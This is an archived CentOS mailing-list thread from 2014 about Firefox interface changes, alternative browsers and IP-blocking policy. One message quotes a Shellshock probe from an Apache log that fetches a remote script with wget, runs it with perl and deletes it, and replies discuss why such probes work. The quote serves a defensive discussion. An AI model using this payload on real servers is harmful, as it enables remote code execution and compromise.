Re: [CentOS] firefox: annoyance

2014-09-29 Thread Lamar Owen

On 09/25/2014 12:26 PM, Nicolas Thierry-Mieg wrote:



No packages for EL6 AFAIK,

Seamonkey is available in EPEL.

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-29 Thread Les Mikesell
On Fri, Sep 26, 2014 at 10:38 PM, Always Learning cen...@u62.u22.net wrote:

 If this inconvenience's an innocent web user, I have neither ability to
 detect the inconvenience nor to determine the user's innocence. I
 understand your hotel analogue. In England many hotel guests use their
 mobile phones or tablets - not on wifi but on direct radio (mobile
 telephone) links; each link having a distinctive IP address.

 If the web hacker is operating through a data centre, then I permanently
 block, for port 80, the whole of the data centre's known IP block.

 The alternative is to be a willing victim.

It's more a question of why you run the service at all.  If blocking
people from reaching it doesn't bother you, why not just shut it down?

-- 
   Les Mikesell
 lesmikes...@gmail.com
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-29 Thread Always Learning

On Mon, 2014-09-29 at 12:16 -0500, Les Mikesell wrote:

 On Fri, Sep 26, 2014 at 10:38 PM, Always Learning cen...@u62.u22.net wrote:
 
  If this inconvenience's an innocent web user, I have neither ability to
  detect the inconvenience nor to determine the user's innocence. I
  understand your hotel analogue. In England many hotel guests use their
  mobile phones or tablets - not on wifi but on direct radio (mobile
  telephone) links; each link having a distinctive IP address.
 
  If the web hacker is operating through a data centre, then I permanently
  block, for port 80, the whole of the data centre's known IP block.
 
  The alternative is to be a willing victim.

 It's more a question of why you run the service at all.  If blocking
 people from reaching it doesn't bother you, why not just shut it down?

Blocking people ?  Data Centre bots that download all or parts of my web
sites for someone's personal amusement or for commercial gain of their
customers or simply to find email addresses to use for spamming, are not
the 'people' I want to attract.

Why should I tolerate some malicious nutter trying to hack into my web
servers ? Better to block their IP after the first attempt.

Why should I close everything because of a very small, but very active,
group of pests ?  Better to block the compromised IPs and the
rent-an-IP-address-for-a-few-hours services whilst letting everything
else continue normally.

No logical reason to give spammers and hackers unrestricted access.
Abuse my facilities and my systems will cut them off. Its a simple and
effective policy.


-- 
Regards,

Paul.
England, EU.

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-29 Thread Les Mikesell
On Mon, Sep 29, 2014 at 1:57 PM, Always Learning cen...@u62.u22.net wrote:

 
  The alternative is to be a willing victim.

 It's more a question of why you run the service at all.  If blocking
 people from reaching it doesn't bother you, why not just shut it down?

 Blocking people ?  Data Centre bots that download all or parts of my web
 sites for someone's personal amusement or for commercial gain of their
 customers or simply to find email addresses to use for spamming, are not
 the 'people' I want to attract.

You said you were blocking IPs.  The IPs  you see don't represent
people or even specific devices and you have no way of knowing the
correspondence.

 Why should I tolerate some malicious nutter trying to hack into my web
 servers ? Better to block their IP after the first attempt.

Why tolerate anyone?

-- 
   Les Mikesell
  lesmikes...@gmail.com
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-29 Thread Always Learning

On Mon, 2014-09-29 at 14:16 -0500, Les Mikesell wrote:


 You said you were blocking IPs.

Yes my systems block IPs on the basis:-

Emails
--
Block if IP allocated to a data centre or to a commercial email sending
organisation.

Web
---
Hacking attempts - individual IP if a 'home-type' Internet connection.
Block if IP allocated to a data centre.


Hosts (email)


Persistent pests using 'home-type' Internet connections are added to the
spammers list. Example

*airtelbroadband.in
*adsl.alicedsl.de
*dynamic.se.alltele.net
*alshamil.net.ae
*adsl.anteldata.net.uy
*aphie.info
*pools.arcor-ip.net
*static.arcor-ip.net
*as9105.com
*as13285.net
*as43234.net

Thus no actual IPs are banned in this instance.

Duration

Individual IPs about 4 weeks.
Blocks indefinite.
Hosts lists indefinite.

   The IPs  you see don't represent
 people or even specific devices and you have no way of knowing the
 correspondence.

I think genuine email senders will use a real MTA rather than something,
taken from today's list, like:-

host-93-178-107-188.ttn.ru
249.119.233.72.static.reverse.ltdomains.com
dab-yat1-h-61-9.dab.02.net

If the correspondence is genuinely important, then the sender will
obviously know my details including phone number and/or postal address.

 Why tolerate anyone?

Because it is my systems, paid with my money, and therefore it is my
choice to accept everyone - also my choice not to tolerate hacking
attempts and junk mail. I previously stated I will not be a placid
victim for hacking attacks or for spamming.

Long gone are the gentlemen's days of the Internet when mail relaying
via third parties was acceptable, normal and never ever abused. Unless
one can successfully adapt to the inevitable changes throughout life,
one's existence is doomed.

I wish to stop this topic now and do other things.


-- 
Regards,

Paul.
England, EU

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread Johnny Hughes
On 09/25/2014 09:42 AM, m.r...@5-cent.us wrote:
 Steve Lindemann wrote:
 On 9/25/2014 8:13 AM, m.r...@5-cent.us wrote:
 Valeri Galtsev wrote:
 On Thu, September 25, 2014 8:59 am, John Doe wrote:
 From: Johan Vermeulen jvermeu...@cawdekempen.be
 op 25-09-14 13:46, mark schreef:
   Yup, forgot that: no tool bar at all, no menus
 snip
 It is *completely* unacceptable to release an update that appears to
 ignore the configuration files, and doesn't even *show* the menu, which
 would absolutely freak out an ordinary user.

 And to lose the tabs! I am *not* going to update firefox at work till
 they fix this - I have stuff I need.
 snip

 Switch to Palemoon or Qupzilla, firefox has improved itself to the
 point where it's just not a choice anymore, let alone a good one.  I've
 been using Palemoon and it's been a damn good choice for me... ymmv
 
 palemoon looks nice - *is* there a package for it somewhere, or do you
 have to d/l and install from their homepage?

 Find something else that works for you, there are other choices.  It's
 gotten to the point where firefox is as bad as chrome or ie.  A shame,
 it used to be such a good choice.
 
 I have to worry, here at work. I am *not* going to even think about trying
 to force my users to use another browser, one they've never heard of (I've
 never heard of either of these). This needs to be fixed

Unless the behavior is different in CentOS than RHEL, it is fixed.

You can turn on the menu bar (right click and click the check mark)

If your users use Windows or mac, they already are using something that
does not have a menu bar.  Firefox has the same look everywhere.

So, because you have to check a box to get the menu, you want to look
for a new browser, which could just stop working at the whims of the
upstream guys (like chromium did) when they move on to the latest and
greatest glibc, etc?  This sounds silly to me .. check the menu box and
use firefox.  It will be supported and secure until EOL.

Of course, it is your machine(S) so feel free to do whatever you want.





signature.asc
Description: OpenPGP digital signature
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread Valeri Galtsev

On Fri, September 26, 2014 8:21 am, Johnny Hughes wrote:
 On 09/25/2014 09:42 AM, m.r...@5-cent.us wrote:
 Steve Lindemann wrote:
 On 9/25/2014 8:13 AM, m.r...@5-cent.us wrote:
 Valeri Galtsev wrote:
 On Thu, September 25, 2014 8:59 am, John Doe wrote:
 From: Johan Vermeulen jvermeu...@cawdekempen.be
 op 25-09-14 13:46, mark schreef:
   Yup, forgot that: no tool bar at all, no menus
 snip
 It is *completely* unacceptable to release an update that appears to
 ignore the configuration files, and doesn't even *show* the menu,
 which
 would absolutely freak out an ordinary user.

 And to lose the tabs! I am *not* going to update firefox at work till
 they fix this - I have stuff I need.
 snip

 Switch to Palemoon or Qupzilla, firefox has improved itself to the
 point where it's just not a choice anymore, let alone a good one.  I've
 been using Palemoon and it's been a damn good choice for me... ymmv

 palemoon looks nice - *is* there a package for it somewhere, or do you
 have to d/l and install from their homepage?

 Find something else that works for you, there are other choices.  It's
 gotten to the point where firefox is as bad as chrome or ie.  A shame,
 it used to be such a good choice.

 I have to worry, here at work. I am *not* going to even think about
 trying
 to force my users to use another browser, one they've never heard of
 (I've
 never heard of either of these). This needs to be fixed

 Unless the behavior is different in CentOS than RHEL, it is fixed.

 You can turn on the menu bar (right click and click the check mark)

 If your users use Windows or mac, they already are using something that
 does not have a menu bar.  Firefox has the same look everywhere.

 So, because you have to check a box to get the menu, you want to look
 for a new browser, which could just stop working at the whims of the
 upstream guys (like chromium did) when they move on to the latest and
 greatest glibc, etc?  This sounds silly to me .. check the menu box and
 use firefox.  It will be supported and secure until EOL.


No, it is not because of that. At least in my case. I started looking for
decent open source browser that to an extent possible follows the rule
don't change anything unless it is absolutely necessary as far as the
way of user interaction goes some 5 or so years ago. Not only changes that
brake all former logic (I'm talking about Firefox here), but also stupid
rushing of new hardly ever tested releases,... So, you are happy with
it; it's your way of life, silly or not is seems to me. The same as my
feelings about enterprise attitude any sort of software, silly or not my
feelings seem to you.

Just my $0.02

Valeri


Valeri Galtsev
Sr System Administrator
Department of Astronomy and Astrophysics
Kavli Institute for Cosmological Physics
University of Chicago
Phone: 773-702-4247

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread James B. Byrne

On Thu, September 25, 2014 10:27, Scott Robbins wrote:
 On Thu, Sep 25, 2014 at 09:09:15AM -0500, Valeri Galtsev wrote:

 developers to follow this:

 Don't change anything unless it is absolutely necessary.

 (it was excellent attitude to programming I was doing once: this way you
 diminish the chance to break something that works...)

 Probably POLA, Principle Of Least Astonishment.


The following article is from 2011 mind you, when FF 4 had 31% market share
instead of the 17% it has now:

http://www.techrepublic.com/blog/it-security/has-the-mozilla-foundation-lost-its-collective-mind/

And then the famous Kaply blog where Asa Dotzler tells all of us entreprisey
folks that use FF to get stuffed:

http://mike.kaply.com/2011/06/23/understanding-the-corporate-impact/

We are on FF-ESR for our MS_Win users as well as CentOs, but this constant
deliberate breakage by the MF folks has had me actively considering finding an
alternative for some time now.  I had sort of settled on Opera but they seem
to have stopped development on the Linux version.

I love the extensions that are available for FF but I am tired beyond care of
witnessing the pointless rearranging of the deck chairs while FF slips ever so
gently beneath the waves.

-- 
***  E-Mail is NOT a SECURE channel  ***
James B. Byrnemailto:byrn...@harte-lyne.ca
Harte  Lyne Limited  http://www.harte-lyne.ca
9 Brockley Drive  vox: +1 905 561 1241
Hamilton, Ontario fax: +1 905 561 0757
Canada  L8E 3C3

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread James B. Byrne

On Thu, September 25, 2014 12:42, m.r...@5-cent.us wrote:

 Thanks, I sit (and type) corrected. There was something nagging at me,
 saying Russia was wrong for Nux. However, I don't foresee aforesaid
 manager being happy with an eastern European individual's repo.


You, and your boss, should become aware that Romania joined the North Atlantic
Treaty Organisation (NATO) on March 29, 2004.  The United States presently has
a formal military alliance with Romania.  The same one that it has with
Canada, Turkey, Great Britain, and most of Europe.

-- 
***  E-Mail is NOT a SECURE channel  ***
James B. Byrnemailto:byrn...@harte-lyne.ca
Harte  Lyne Limited  http://www.harte-lyne.ca
9 Brockley Drive  vox: +1 905 561 1241
Hamilton, Ontario fax: +1 905 561 0757
Canada  L8E 3C3

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread m . roth
James B. Byrne wrote:

 On Thu, September 25, 2014 12:42, m.r...@5-cent.us wrote:

 Thanks, I sit (and type) corrected. There was something nagging at me,
 saying Russia was wrong for Nux. However, I don't foresee aforesaid
 manager being happy with an eastern European individual's repo.

 You, and your boss, should become aware that Romania joined the North
 Atlantic Treaty Organisation (NATO) on March 29, 2004.  The United States
 presently has a formal military alliance with Romania.  The same one that
  it has with Canada, Turkey, Great Britain, and most of Europe.

Assuming this gets through - my hosting provider's mailhost is being
blocked, AGAIN, by those assholes at IX magazine that run nixspam

It's still not one of the large repos, and (if yuo didn't see my other
response), we have no knowledge of how secure his server, where he hosts
his repo, is from being hacked. We *do* have to, legally, worry about
HIPAA (personal health data) and PII data.

We'll ignore the concept of telling scores of people that they have to not
use the browser they know, and have to learn a new one

mark

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread Valeri Galtsev

On Fri, September 26, 2014 11:56 am, James B. Byrne wrote:

 On Thu, September 25, 2014 12:42, m.r...@5-cent.us wrote:

 Thanks, I sit (and type) corrected. There was something nagging at me,
 saying Russia was wrong for Nux. However, I don't foresee aforesaid
 manager being happy with an eastern European individual's repo.


 You, and your boss, should become aware that Romania joined the North
 Atlantic
 Treaty Organisation (NATO) on March 29, 2004.  The United States presently
 has
 a formal military alliance with Romania.  The same one that it has with
 Canada, Turkey, Great Britain, and most of Europe.


I hope, my government doesn't go into alliance with Russia behind my
back ;-) (I'm perfectly OK about Romania, no matter how much more careful
I'll be about repositories hosted there compared to the ones hosted, say,
in Finland, just based on statistics of compromised machines...)

Valeri


Valeri Galtsev
Sr System Administrator
Department of Astronomy and Astrophysics
Kavli Institute for Cosmological Physics
University of Chicago
Phone: 773-702-4247

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread m . roth
Valeri Galtsev wrote:

 On Fri, September 26, 2014 11:56 am, James B. Byrne wrote:

 On Thu, September 25, 2014 12:42, m.r...@5-cent.us wrote:

 Thanks, I sit (and type) corrected. There was something nagging at me,
 saying Russia was wrong for Nux. However, I don't foresee aforesaid
 manager being happy with an eastern European individual's repo.

 You, and your boss, should become aware that Romania joined the North
 Atlantic Treaty Organisation (NATO) on March 29, 2004.  The United States
 presently has a formal military alliance with Romania.  The same one that
  it has with Canada, Turkey, Great Britain, and most of Europe.

 I hope, my government doesn't go into alliance with Russia behind my
 back ;-) (I'm perfectly OK about Romania, no matter how much more careful
 I'll be about repositories hosted there compared to the ones hosted, say,
 in Finland, just based on statistics of compromised machines...)

Please, please note: we're *NOT* US DoD* - we try to help people g

What, you're not looking forward to the Ukraine hosting repos...?

  mark

* Old, old t-shirt line: join the Army, travel to distant lands, meet
exotic people, and learn to kill them.

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread Александр Кириллов

I hope, my government doesn't go into alliance with Russia behind my
back ;-) (I'm perfectly OK about Romania, no matter how much more 
careful
I'll be about repositories hosted there compared to the ones hosted, 
say,

in Finland, just based on statistics of compromised machines...)


These guys they just don't get the hint and then we have to watch in 
disgust their heads being cut off by the friends of Libya :)


___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread Les Mikesell
On Fri, Sep 26, 2014 at 8:21 AM, Johnny Hughes joh...@centos.org wrote:
 
 So, because you have to check a box to get the menu, you want to look
 for a new browser, which could just stop working at the whims of the
 upstream guys (like chromium did) when they move on to the latest and
 greatest glibc, etc?  This sounds silly to me ..

Dunno if it is really any sillier to stop supporting ancient libs than
it is to keep them completely frozen for umpteen years with no
improvements and force the choice.  Too bad there can't be a nice
sensible progression of backwards compatible updates.

-- 
   Les Mikesell
 lesmikes...@gmail.com
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread Les Mikesell
On Fri, Sep 26, 2014 at 9:08 AM, Valeri Galtsev
galt...@kicp.uchicago.edu wrote:

 No, it is not because of that. At least in my case. I started looking for
 decent open source browser that to an extent possible follows the rule
 don't change anything unless it is absolutely necessary as far as the
 way of user interaction goes some 5 or so years ago. Not only changes that
 brake all former logic (I'm talking about Firefox here), but also stupid
 rushing of new hardly ever tested releases,... So, you are happy with
 it; it's your way of life, silly or not is seems to me. The same as my
 feelings about enterprise attitude any sort of software, silly or not my
 feelings seem to you.

The problem is that the don't change anything rule can't start until
you get it right the first time, and browsers in general are still
working on that - along with the standards committees. If you are
using CentOS7 you have the option of adding google chrome which
probably is even worse for the rate of change but at least it is
closely in tune with google sites and across various devices.

-- 
   Les Mikesell
 lesmikes...@gmail.com
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread Valeri Galtsev

On Fri, September 26, 2014 1:27 pm, Les Mikesell wrote:
 On Fri, Sep 26, 2014 at 9:08 AM, Valeri Galtsev
 galt...@kicp.uchicago.edu wrote:

 No, it is not because of that. At least in my case. I started looking
 for
 decent open source browser that to an extent possible follows the rule
 don't change anything unless it is absolutely necessary as far as the
 way of user interaction goes some 5 or so years ago. Not only changes
 that
 brake all former logic (I'm talking about Firefox here), but also stupid
 rushing of new hardly ever tested releases,... So, you are happy with
 it; it's your way of life, silly or not is seems to me. The same as my
 feelings about enterprise attitude any sort of software, silly or not
 my
 feelings seem to you.

 The problem is that the don't change anything rule can't start until
 you get it right the first time, and browsers in general are still
 working on that - along with the standards committees. If you are
 using CentOS7 you have the option of adding google chrome which
 probably is even worse for the rate of change but at least it is
 closely in tune with google sites and across various devices.

I did mention open source browsers, which google chrome was not last time
I checked. Not to mention I do dislike googe's privacy policies, so I'm
myself staying away (wherever I can) from anything even just derived from
google's code. Even less I'm inclined to push this onto my users. I can
not interfere with them when they are dying to have google chrome on their
machines, but that is different.

Thanks for adding a candidate  to my list of potential replacements for
firefox (which didn't make it to my list, still thanks for the effort!).

Valeri


Valeri Galtsev
Sr System Administrator
Department of Astronomy and Astrophysics
Kavli Institute for Cosmological Physics
University of Chicago
Phone: 773-702-4247

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread Always Learning

On Fri, 2014-09-26 at 12:22 -0500, Valeri Galtsev wrote:

   .  just based on statistics of compromised machines...)

Probably all Windoze :-)

Regards,

Paul.
England, EU.


___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread John R Pierce

On 9/26/2014 2:51 PM, Always Learning wrote:

Probably all Windoze


linux apache web servers with the bash exploit are getting owned en 
masse today. my (patched) internet web server has logged 100s and 
100s of attempts like...


66.186.2.172 - - [26/Sep/2014:00:49:29 -0700] GET /cgi-bin/test.sh 
HTTP/1.0 404 294 - () { :;}; /bin/bash -c \wget -O /var/tmp/wow1 
208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\


--
john r pierce  37N 122W
somewhere on the middle of the left coast

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread Valeri Galtsev

On Fri, September 26, 2014 5:13 pm, John R Pierce wrote:
 On 9/26/2014 2:51 PM, Always Learning wrote:
 Probably all Windoze

 linux apache web servers with the bash exploit are getting owned en
 masse today. my (patched) internet web server has logged 100s and
 100s of attempts like...

 66.186.2.172 - - [26/Sep/2014:00:49:29 -0700] GET /cgi-bin/test.sh

I feel really stupid, but I have to ask. If your server wasn't patched, it
only would have owned by the above if that file exists, is executable by
apache and it indeed invokes bash (say, has #!/bin/bash or whatever bash
location is as first line), right? ;-)

Valeri


Valeri Galtsev
Sr System Administrator
Department of Astronomy and Astrophysics
Kavli Institute for Cosmological Physics
University of Chicago
Phone: 773-702-4247

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread John R Pierce

On 9/26/2014 3:36 PM, Valeri Galtsev wrote:

On Fri, September 26, 2014 5:13 pm, John R Pierce wrote:

On 9/26/2014 2:51 PM, Always Learning wrote:

Probably all Windoze


linux apache web servers with the bash exploit are getting owned en
masse today. my (patched) internet web server has logged 100s and
100s of attempts like...

66.186.2.172 - - [26/Sep/2014:00:49:29 -0700] GET /cgi-bin/test.sh

I feel really stupid, but I have to ask. If your server wasn't patched, it
only would have owned by the above if that file exists, is executable by
apache and it indeed invokes bash (say, has #!/bin/bash or whatever bash
location is as first line), right?


no.  mod_cgi launches /bin/sh and passes it the command,  even if the 
file doesn't exist.   and  /bin/sh is linked to bash




--
john r pierce  37N 122W
somewhere on the middle of the left coast

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread Keith Keller
On 2014-09-26, Valeri Galtsev galt...@kicp.uchicago.edu wrote:
 On Fri, September 26, 2014 5:13 pm, John R Pierce wrote:

 linux apache web servers with the bash exploit are getting owned en
 masse today. my (patched) internet web server has logged 100s and
 100s of attempts like...

 66.186.2.172 - - [26/Sep/2014:00:49:29 -0700] GET /cgi-bin/test.sh

 I feel really stupid, but I have to ask. If your server wasn't patched, it
 only would have owned by the above if that file exists, is executable by
 apache and it indeed invokes bash (say, has #!/bin/bash or whatever bash
 location is as first line), right? ;-)

At first glance I would agree with you, but then I would wonder, if that
request wouldn't work almost anywhere, why are the skr1pt k1dd13s doing
it?

--keith

-- 
kkel...@wombat.san-francisco.ca.us


___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread Cliff Pratt
On Sat, Sep 27, 2014 at 11:02 AM, Keith Keller 
kkel...@wombat.san-francisco.ca.us wrote:

 On 2014-09-26, Valeri Galtsev galt...@kicp.uchicago.edu wrote:
  On Fri, September 26, 2014 5:13 pm, John R Pierce wrote:
 
  linux apache web servers with the bash exploit are getting owned en
  masse today. my (patched) internet web server has logged 100s and
  100s of attempts like...
 
  66.186.2.172 - - [26/Sep/2014:00:49:29 -0700] GET /cgi-bin/test.sh
 
  I feel really stupid, but I have to ask. If your server wasn't patched,
 it
  only would have owned by the above if that file exists, is executable by
  apache and it indeed invokes bash (say, has #!/bin/bash or whatever bash
  location is as first line), right? ;-)

 At first glance I would agree with you, but then I would wonder, if that
 request wouldn't work almost anywhere, why are the skr1pt k1dd13s doing
 it?


Old source versions of Apache used to come with a test.sh file in the
default cgi-bin directory, but those days are long gone, I suspect.

Cheers,

Cliff
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread Valeri Galtsev

On Fri, September 26, 2014 6:05 pm, John R Pierce wrote:
 On 9/26/2014 3:36 PM, Valeri Galtsev wrote:
 On Fri, September 26, 2014 5:13 pm, John R Pierce wrote:
 On 9/26/2014 2:51 PM, Always Learning wrote:
 Probably all Windoze
 
 linux apache web servers with the bash exploit are getting owned en
 masse today. my (patched) internet web server has logged 100s and
 100s of attempts like...
 
 66.186.2.172 - - [26/Sep/2014:00:49:29 -0700] GET /cgi-bin/test.sh
 I feel really stupid, but I have to ask. If your server wasn't patched,
 it
 only would have owned by the above if that file exists, is executable by
 apache and it indeed invokes bash (say, has #!/bin/bash or whatever bash
 location is as first line), right?

 no.  mod_cgi launches /bin/sh and passes it the command,  even if the
 file doesn't exist.   and  /bin/sh

Damn, indeed it is not sh, but symlink to bash. Crap! Am I already to that
extent FreeBSD and not Linux guy...

Ba

Valeri



Valeri Galtsev
Sr System Administrator
Department of Astronomy and Astrophysics
Kavli Institute for Cosmological Physics
University of Chicago
Phone: 773-702-4247

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread Keith Keller
On 2014-09-26, John R Pierce pie...@hogranch.com wrote:
 On Fri, September 26, 2014 5:13 pm, John R Pierce wrote:
 
 66.186.2.172 - - [26/Sep/2014:00:49:29 -0700] GET /cgi-bin/test.sh

 no.  mod_cgi launches /bin/sh and passes it the command,  even if the 
 file doesn't exist.   and  /bin/sh is linked to bash

Wouldn't you need a particular Apache configuration for mod_cgi to
launch /bin/sh?  e.g., /cgi-bin/ configured as a ScriptAlias, and/or
*.sh configured with an appropriate handler?  Granted that's likely a
common configuration, but a site without a configured /cgi-bin/ should
be immune to this attack even if their /bin/sh is a symlink to
/bin/bash.

--keith

-- 
kkel...@wombat.san-francisco.ca.us


___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread Valeri Galtsev

On Fri, September 26, 2014 6:05 pm, John R Pierce wrote:
 On 9/26/2014 3:36 PM, Valeri Galtsev wrote:
 On Fri, September 26, 2014 5:13 pm, John R Pierce wrote:
 On 9/26/2014 2:51 PM, Always Learning wrote:
 Probably all Windoze
 
 linux apache web servers with the bash exploit are getting owned en
 masse today. my (patched) internet web server has logged 100s and
 100s of attempts like...
 
 66.186.2.172 - - [26/Sep/2014:00:49:29 -0700] GET /cgi-bin/test.sh
 I feel really stupid, but I have to ask. If your server wasn't patched,
 it
 only would have owned by the above if that file exists, is executable by
 apache and it indeed invokes bash (say, has #!/bin/bash or whatever bash
 location is as first line), right?

 no.  mod_cgi launches /bin/sh and passes it the command,  even if the
 file doesn't exist.   and  /bin/sh is linked to bash


Apache passes it to mod_cgi to have that discover that referenced file
doesn't exist?!
Did I too program like that when I was programmer?

Valeri


Valeri Galtsev
Sr System Administrator
Department of Astronomy and Astrophysics
Kavli Institute for Cosmological Physics
University of Chicago
Phone: 773-702-4247

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread Always Learning

On Fri, 2014-09-26 at 16:05 -0700, John R Pierce wrote:

 no.  mod_cgi launches /bin/sh and passes it the command,  even if the 
 file doesn't exist.   and  /bin/sh is linked to bash

Don't use cgi. Have no /cgi directory. Don't load mod_cgi

Bash is patched (updated to new version).  Automatically bloke IPs of
anyone trying to hack Apache. Am I safe ?


Paul.
England, EU.

Learning until I die or experience dementia.


___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread Valeri Galtsev

On Fri, September 26, 2014 8:32 pm, Always Learning wrote:

 On Fri, 2014-09-26 at 16:05 -0700, John R Pierce wrote:

 no.  mod_cgi launches /bin/sh and passes it the command,  even if the
 file doesn't exist.   and  /bin/sh is linked to bash

 Don't use cgi. Have no /cgi directory. Don't load mod_cgi

 Bash is patched (updated to new version).  Automatically bloke IPs of
 anyone trying to hack Apache. Am I safe ?


You are. But if you run the server you do want to serve what you want to
serve. Now, imagine hotel, everybody in it is behind a single router. One
person has hacked machine that tried to tap into your server. You block
the IP, therefore everyone in Hotel... Now do you want to serve it? If not
why to start Apache at all? However, my case is different. If servers of
our Departments don't serve anything [we need] to everybody, they do not
need me, sysadmin, desktop support guy will be more suitable (and probably
less expensive).

Just my $0.02

Valeri


Valeri Galtsev
Sr System Administrator
Department of Astronomy and Astrophysics
Kavli Institute for Cosmological Physics
University of Chicago
Phone: 773-702-4247

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread Always Learning

Hi Valeri,

 On Fri, September 26, 2014 8:32 pm, Always Learning wrote:

  Don't use cgi. Have no /cgi directory. Don't load mod_cgi
 
  Bash is patched (updated to new version).  Automatically bloke IPs of
  anyone trying to hack Apache. Am I safe ?

 You are. But if you run the server you do want to serve what you want to
 serve. Now, imagine hotel, everybody in it is behind a single router. One
 person has hacked machine that tried to tap into your server. You block
 the IP, therefore everyone in Hotel... Now do you want to serve it? If not
 why to start Apache at all? However, my case is different. If servers of
 our Departments don't serve anything [we need] to everybody, they do not
 need me, sysadmin, desktop support guy will be more suitable (and probably
 less expensive).

If a hacker, always using someone else's compromised computer, attempts
to break-in, their IP is blocked for all traffic within about 1 second.

Yes that means one hacked computer's IP address is blocked for mail and
web. I decline to let the hacker have repeated attempts to hack into, or
abuse, any of my web sites.

If there are only a few access attempts after the IP address is blocked,
the ban will expire monthly. If there are very many attempts, then the
ban will expire about 3 weeks after the attempts stop.

If this inconvenience's an innocent web user, I have neither ability to
detect the inconvenience nor to determine the user's innocence. I
understand your hotel analogue. In England many hotel guests use their
mobile phones or tablets - not on wifi but on direct radio (mobile
telephone) links; each link having a distinctive IP address.

If the web hacker is operating through a data centre, then I permanently
block, for port 80, the whole of the data centre's known IP block.

The alternative is to be a willing victim.

Best regards,

Paul
England - the USA's government's pet European poodle.


___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-26 Thread Always Learning
V,

Sorry that should be ...

I understand your hotel analogy.

P.




___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Johan Vermeulen


op 25-09-14 02:46, Tom Bishop schreef:

On Wed, Sep 24, 2014 at 7:41 PM, mark m.r...@5-cent.us wrote:

I just updated firefox, here at home... and when I fired it back up, *all*
of my tabs were gone. Every one (all couple dozen...)

 mark, CentOS 6.5
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos

Me too and I had lots of tabs :(
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Hello,

when I launched Firefox31 at one site yesterday, I got a dialog saying:

It's been a long time since you used Firefox, would you like to clean it up?
After the clean up, I automaticaly got a directory  Old Firefox Data 
 on the desktop.

In there my old Firefox profile is stored.

Greetings, J.

___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] firefox: annoyance

2014-09-25 Thread Johan Vermeulen


op 25-09-14 09:01, Johan Vermeulen schreef:


op 25-09-14 02:46, Tom Bishop schreef:

On Wed, Sep 24, 2014 at 7:41 PM, mark m.r...@5-cent.us wrote:
I just updated firefox, here at home... and when I fired it back up, 
*all*

of my tabs were gone. Every one (all couple dozen...)

 mark, CentOS 6.5
___
CentOS mailing list
CentOS@centos.org
http://lists.centos.org/mailman/listinfo/centos

Me too and I had lots of tabs :(
___
CentOS mailing list
